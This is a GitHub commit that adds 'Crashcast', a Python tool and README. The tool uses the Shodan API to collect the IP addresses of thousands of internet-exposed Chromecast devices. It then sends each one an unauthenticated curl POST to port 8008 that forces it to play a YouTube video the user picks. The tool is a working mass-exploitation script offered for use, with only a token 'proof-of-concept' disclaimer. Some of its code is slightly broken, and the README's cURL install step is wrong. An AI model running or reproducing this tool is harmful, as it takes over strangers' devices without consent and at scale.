Skip to content

Commit 383ce2e

Browse files
649649
committed
init
1 parent 54e2ca6 commit 383ce2e

File tree

5 files changed

+184
-0
lines changed

5 files changed

+184
-0
lines changed

‎1.png

65 KB
Loading

‎2.png

25 KB
Loading

‎3.png

42.2 KB
Loading

‎Crashcast.py

+150
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
#-- coding: utf8 --
2+
#!/usr/bin/env python3
3+
import sys, os, time, shodan
4+
from pathlib import Path
5+
from contextlib import contextmanager, redirect_stdout
6+
7+
starttime = time.time()
8+
9+
@contextmanager
10+
def suppress_stdout():
11+
with open(os.devnull, "w") as devnull:
12+
with redirect_stdout(devnull):
13+
yield
14+
15+
class color:
16+
HEADER = '\033[0m'
17+
18+
keys = Path("./api.txt")
19+
logo = color.HEADER + '''
20+
██████╗██████╗ █████╗ ███████╗██╗ ██╗ ██████╗ █████╗ ███████╗████████╗
21+
██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗██╔════╝╚══██╔══╝
22+
██║ ██████╔╝███████║███████╗███████║██║ ███████║███████╗ ██║
23+
██║ ██╔══██╗██╔══██║╚════██║██╔══██║██║ ██╔══██║╚════██║ ██║
24+
╚██████╗██║ ██║██║ ██║███████║██║ ██║╚██████╗██║ ██║███████║ ██║
25+
╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝
26+
27+
Author: @037
28+
Version: 1.0
29+
30+
####################################### DISCLAIMER ########################################
31+
| ChrashCast is a tool that allows you to use Shodan.io to obtain thousands of vulnerable |
32+
| Chromecast devices. It then allows you to use the same devices to mass-play any video |
33+
| you like. It uses a simple cURL command to play the specified YouTube video on all the |
34+
| vulnerable Chromecast devices. This exploit only works because people decided it would |
35+
| be a good idea to leave their Chromecast exposed to the entire internet. Think again. |
36+
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
37+
| Use this tool at your own risk, it is meant to ONLY be a proof-of-concept for research. |
38+
###########################################################################################
39+
40+
'''
41+
print(logo)
42+
43+
if keys.is_file():
44+
with open('api.txt', 'r') as file:
45+
SHODAN_API_KEY=file.readline().rstrip('\n')
46+
else:
47+
file = open('api.txt', 'w')
48+
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
49+
file.write(SHODAN_API_KEY)
50+
print('[~] File written: ./api.txt')
51+
file.close()
52+
53+
while True:
54+
api = shodan.Shodan(SHODAN_API_KEY)
55+
print('')
56+
try:
57+
myresults = Path("./chromecast.txt")
58+
query = input("[*] Use Shodan API to search for affected Chromecast devices? <Y/n>: ").lower()
59+
if query.startswith('y'):
60+
print('')
61+
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
62+
results = api.search('product:chromecast')
63+
print('[✓] API Key Authentication: SUCCESS')
64+
print('[~] Number of Chromecast devices: %s' % results['total'])
65+
print('')
66+
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
67+
if saveresult.startswith('y'):
68+
file2 = open('chromecast.txt', 'a')
69+
for result in results['matches']:
70+
file2.write(result['ip_str'] + "\n")
71+
print('[~] File written: ./chromecast.txt')
72+
print('')
73+
file2.close()
74+
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
75+
if myresults.is_file():
76+
if saveme.startswith('y'):
77+
with open('chromecast.txt') as my_file:
78+
ip_array = [line.rstrip() for line in my_file]
79+
else:
80+
print('')
81+
print('[✘] Error: No Chromecast devices stored locally, chromecast.txt file not found!')
82+
print('')
83+
if saveme.startswith('y') or query.startswith('y'):
84+
print('')
85+
video = input("[▸] Enter YouTube video ID to mass-play (the string after v=): ") or "hkBP_PZVmno"
86+
print('')
87+
if query.startswith('y'):
88+
iplist = input('[*] Would you like to display all the Chromecast devices from Shodan? <Y/n>: ').lower()
89+
if iplist.startswith('y'):
90+
print('')
91+
counter= int(0)
92+
for result in results['matches']:
93+
host = api.host('%s' % result['ip_str'])
94+
counter=counter+1
95+
print('[+] Chromecast device (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
96+
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
97+
if saveme.startswith('y'):
98+
iplistlocal = input('[*] Would you like to display all the Chromecast devices stored locally? <Y/n>: ').lower()
99+
if iplistlocal.startswith('y'):
100+
print('')
101+
counter= int(0)
102+
for x in ip_array:
103+
host = api.host('%s' % x)
104+
counter=counter+1
105+
print('[+] Chromecast device (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
106+
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
107+
print('')
108+
engage = input('[*] Ready to mass-play YouTube video (%s)? <Y/n>: ' % video).lower()
109+
if engage.startswith('y'):
110+
if saveme.startswith('y'):
111+
for i in ip_array:
112+
print('[+] Sending play video command to Chromecast (%s)' % (i))
113+
with suppress_stdout():
114+
curlreq = ('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (i, video))
115+
os.popen(curlreq)
116+
else:
117+
for result in results['matches']:
118+
print('[+] Sending play video command to Chromecast (%s)' % (i))
119+
with suppress_stdout():
120+
curlreq = ('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (result, video))
121+
os.popen(curlreq)
122+
print('')
123+
print('[•] Task complete! Exiting Platform. Have a wonderful day.')
124+
break
125+
else:
126+
print('')
127+
print('[✘] Error: video (%s) not mass-played!' % video)
128+
print('[~] Restarting Platform! Please wait.')
129+
print('')
130+
else:
131+
print('')
132+
print('[✘] Error: No Chromecast devices stored locally or remotely from Shodan!')
133+
print('[~] Restarting Platform! Please wait.')
134+
print('')
135+
136+
except shodan.APIError as e:
137+
print('[✘] Error: %s' % e)
138+
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
139+
if option.startswith('y'):
140+
file = open('api.txt', 'w')
141+
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
142+
file.write(SHODAN_API_KEY)
143+
print('[~] File written: ./api.txt')
144+
file.close()
145+
print('[~] Restarting Platform! Please wait.')
146+
print('')
147+
else:
148+
print('')
149+
print('[•] Exiting Platform. Have a wonderful day.')
150+
break

‎README.md

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# CRASHCAST VIDEO MASS-PLAY EXPLOIT TOOL
2+
3+
* Author: [@037](https://twitter.com/037)
4+
5+
This tool allows you mass play any YouTube video with Chromecasts obtained from Shodan.io
6+
7+
### Prerequisites
8+
9+
The only thing you need installed is Python 3.x
10+
11+
```
12+
apt-get install python3
13+
```
14+
15+
You also require to have cURL installed
16+
```
17+
pip install scapy
18+
```
19+
20+
You also require Shodan python module
21+
22+
```
23+
pip install shodan
24+
```
25+
26+
### Using Shodan API
27+
28+
This tool requires you to own an upgraded Shodan API
29+
30+
You may obtain one for free in [Shodan](https://shodan.io/) if you sign up using a .edu email
31+
32+
![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/2.png)
33+
![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/1.png)
34+
![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/3.png)

0 commit comments

Comments
 (0)